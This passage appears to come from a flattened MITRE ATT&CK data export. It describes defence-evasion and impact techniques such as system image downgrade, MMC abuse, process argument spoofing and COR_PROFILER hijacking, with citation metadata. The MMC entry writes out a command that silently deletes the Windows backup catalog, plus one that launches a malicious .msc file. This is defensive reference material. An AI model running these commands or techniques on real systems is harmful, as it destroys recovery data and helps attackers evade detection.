source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/004 external_id: T1574.004 source_name: MalwareUnicorn macOS Dylib Injection MachO description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021. url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5 source_name: Apple Developer Doco Archive Run-Path description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021. url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html source_name: Wardle Dylib Hijacking OSX 2015 description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf source_name: Writing Bad Malware for OSX description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf source_name: Wardle Dylib Hijack Vulnerable Apps description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021. url: https://objective-see.com/blog/blog_0x46.html source_name: wardle artofmalware volume1 description: Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021. url: https://taomm.org/vol1/pdfs.html source_name: Github EmpireProject HijackScanner description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py source_name: Github EmpireProject CreateHijacker Dylib description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021. url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py

kill_chain_name: mitre-attack phase_name: defense-evasion

macOS

Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution) On embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts. Downgrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600). Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).

enterprise-attack

Downgrade System Image

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1601/002 external_id: T1601.002 source_name: Cisco Synful Knock Evolution description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020. url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices

kill_chain_name: mitre-attack phase_name: defense-evasion

Network

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

enterprise-attack

Local Accounts

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1078/003 external_id: T1078.003

kill_chain_name: mitre-attack phase_name: initial-access

Linux

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection. There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)

enterprise-attack

Exploitation for Defense Evasion

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1211 external_id: T1211 source_name: Salesforce zero-day in facebook phishing attack description: Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023. url: https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/ source_name: Bypassing CloudTrail in AWS Service Catalog description: Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023. url: https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/ source_name: GhostToken GCP flaw description: Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023. url: https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/

kill_chain_name: mitre-attack phase_name: defense-evasion

Linux

Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.

enterprise-attack

Trusted Developer Utilities Proxy Execution

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1127 external_id: T1127 source_name: Exploit Monday WinDbg description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html source_name: LOLBAS Tracker description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019. url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/ source_name: engima0x3 RCSI Bypass description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017. url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ source_name: engima0x3 DNX Bypass description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017. url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery. Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

enterprise-attack

System Shutdown/Reboot

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1529 external_id: T1529 source_name: Talos Nyetya June 2017 description: Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019. url: https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html source_name: alert_TA18_106A description: CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/TA18-106A source_name: Talos Olympic Destroyer 2018 description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html source_name: Microsoft Shutdown Oct 2017 description: Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019. url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown

kill_chain_name: mitre-attack phase_name: impact

Linux

Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview) For example, <code>mmc C:\Users\foo\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. Adversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal) Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\path\to\test.msc</code>.(Citation: abusing_com_reg)

enterprise-attack

MMC

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1218/014 external_id: T1218.014 source_name: abusing_com_reg description: bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021. url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ source_name: mmc_vulns description: Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021. url: https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/ source_name: win_msc_files_overview description: Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021. url: https://www.ghacks.net/2017/06/10/windows-msc-files-overview/ source_name: win_mmc description: Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021. url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc source_name: win_wbadmin_delete_catalog description: Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021. url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog source_name: win_clsid_key description: Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021. url: https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm source_name: what_is_mmc description: Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021. url: https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console source_name: phobos_virustotal description: Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021. url: https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019) Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020) Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021) This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.

enterprise-attack

Process Argument Spoofing

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/010 external_id: T1564.010 source_name: Microsoft PEB 2021 description: Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021. url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb source_name: Xpn Argue Like Cobalt 2019 description: Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021. url: https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/ source_name: Cobalt Strike Arguments 2019 description: Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021. url: https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/ source_name: Nviso Spoof Command Line 2020 description: Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021. url: https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/ source_name: FireEye FiveHands April 2021 description: McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021. url: https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html source_name: Mandiant Endpoint Evading 2019 description: Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021. url: https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows

Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)

enterprise-attack

COR_PROFILER

source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/012 external_id: T1574.012 source_name: Microsoft Profiling Mar 2017 description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020. url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview source_name: Microsoft COR_PROFILER Feb 2013 description: Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020. url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100) source_name: RedCanary Mockingbird May 2020 description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020. url: https://redcanary.com/blog/blue-mockingbird-cryptominer/ source_name: Red Canary COR_PROFILER May 2020 description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020. url: https://redcanary.com/blog/cor_profiler-for-persistence/ source_name: Almond COR_PROFILER Apr 2019 description: Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020. url: https://offsec.almond.consulting/UAC-bypass-dotnet.html source_name: GitHub OmerYa Invisi-Shell description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020. url: https://github.com/OmerYa/Invisi-Shell source_name: subTee .NET Profilers May 2017 description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020. url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html

kill_chain_name: mitre-attack phase_name: defense-evasion

Windows